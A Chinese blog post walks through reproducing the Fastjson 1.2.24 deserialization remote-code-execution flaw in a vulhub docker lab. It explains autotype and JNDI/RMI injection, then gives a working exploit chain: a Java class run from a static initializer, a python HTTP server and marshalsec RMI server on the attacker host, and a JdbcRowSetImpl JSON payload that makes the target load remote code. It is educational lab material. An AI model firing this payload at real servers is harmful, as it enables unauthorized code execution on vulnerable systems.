🍬 博主介绍👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
目录
0x1 前言
0x2 漏洞原理及介绍
1、什么是json?
2、Fastjson概述
3、Fastjson漏洞原理
4、Fastjson漏洞利用详解
0x3 环境搭建
0x4 漏洞复现
1、远程创建文件
2、开启RMI服务
0x5 总结
0x1 前言
Fastjson反序列化漏洞也是一个知名度比较高的Java反序列化漏洞,他是阿里巴巴的开源库,下面我将主要带大家了解Fastjson反序列化漏洞的原理以及相关知识点的内容,然后带师傅们去利用rmi服务去复现这个Fastjson反序列化漏洞!!!
0x2 漏洞原理及介绍
1、什么是json?
json是一种数据格式,对于我们互联网来说,我们服务器和客户端有大量的数据需要进行传输。以前通用的方式是xml,但是xml数据体重太大,效率低下,所以就有了另外一种数据格式,叫json。
json一共有两种体现:
- json对象、json数组
- json对象:json本身是一个字符串,{建:值, 建:值}
举例:
{"name" : "routing","2003-11-11","age" : 20,"likes" : ["看电影" , "看书"]
}
2、Fastjson概述
FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。
Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。
- toJSONString()方法:(序列化)将json对象转换成JSON字符串;
- parseObject()方法:(反序列化)将JSON字符串转换成json对象。
使用方式:
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
3、Fastjson漏洞原理
fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。
由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。
那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行,形成RCE。
【JNDI提供了查找和访问各种命名和目录服务的通用、统一的接口。支持的服务:DNS,LDAP,RMI,CORBA等】
关于JNDI注入,大家可以看我之前写的一篇关于log4j的JNDI注入漏洞的详细介绍:
JNDI注入原理及利用IDEA漏洞复现-CSDN博客
4、Fastjson漏洞利用详解
1、攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
2、存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?
3、rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
4、rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
5、靶机服务器执行了恶意代码,被攻击者成功利用。
这里给大家看看红队大佬的图解,希望对大家理解fastjson漏洞原理的利用有帮助。
0x3 环境搭建
靶机:Ubantu IP 192.168.103.161 (先要安装docker,然后下载vulhub) 启动vulhub里面的fastjson环境
攻击机:kali IP 192.168.103.129
我们先利用Ubantu进入vulnhub靶场,进入/vulhub/fastjson/1.2.24-rce目录下,然后执行以下命令,看到done,那么就表示环境开启成功了。
docker-compose up -d
查看我们ubantu中docker开启环境的端口情况,端口是8090
docker ps -a
我们访问 ubantu的IP+端口,192.168.103.161:8090,得到如下的界面:
0x4 漏洞复现
1、远程创建文件
一、这里要创建java代码文件,所以对环境比较严格,要保证java和javac的版本一致,且都是1.8的版本!!!
二、我们先在本地把java代码文件编译好,然后再上传到攻击机:kali下保存以下代码为TouchFile.java文件
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/successFrank"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}
三、编译.java文件,生成.class文件。
javac TouchFile.java
四、然后我们再把编译好的.class文件上传到攻击机kali目录下
五、在class文件所在的目录,Python起一个http服务。用4444端口启动http服务的命令为:
┌──(root💀kali)-[~/桌面/fastjson]
└─# python -m http.server 4444
六、访问kali的IP+开启http服务的4444端口,就会出现下面的页面
2、开启RMI服务
一、开启rmi服务之前,我们需要利用marshalsec项目,需要用到marshalsec-0.0.3-SNAPSHOT-all.jar工具,下载链接如下:Apache-Log4j-Learning/tools at main · bkfish/Apache-Log4j-Learning · GitHub
二、接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class:
开启RMI服务,命令行中的IP地址是kali攻击机开始开启http服务的地址
┌──(root💀kali)-[~/桌面/Apache-Log4j-Learning-main/tools]
└─# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.103.129:4444/#TouchFile" 9999
三、利用burp抓取靶机ubantu(192.168.103.161:8090)的包,然后再改变抓到的包的请求方式为POST,然后再发送到Repeater中。
四、添加payload,师傅们可以参考我这个请求包的内容,因为我开始在网上找了很多,然后rmi服务监听都没有回应,都失败了。
POST / HTTP/1.1
Host: 192.168.103.161:8090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 165{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.103.129:9999/TouchFile","autoCommit":true}
}
主要是看这两个地方,圈起来的是主要payload,然后看是否成功执行了,就看返回包中是否回显500关键字。
然后可以看到rmi服务的监听和开启的http服务都有回应了。
五、我们开始的TouchFile.java这个脚本文件,我们是让他执行touch /tmp/successFrank 目录文件,我们来看看是否执行成功了。
详细步骤如下:
1、docker ps //找到CONTAINER ID2、docker exec -it CONTAINER ID /bin/bash //就可以进入CONTAINER ID当前目录下了3、cd /tmp 4、ls //就可以看到创建的successFrank文件了
目前,我们就把漏洞复现成功了!!!
0x5 总结
JDK1.8安装详细教程:Kali安装JDK 1.8的详细过程_kali安装jdk1.8-CSDN博客
安装vulnhub详细教程:Kali Linux 2020安装vulhub_kali2020上安装vulhub-CSDN博客
哔哩哔哩视频讲解:【fastjson反序列化漏洞演示加详细讲解加原理】 fastjson反序列化漏洞演示加详细讲解加原理_哔哩哔哩_bilibili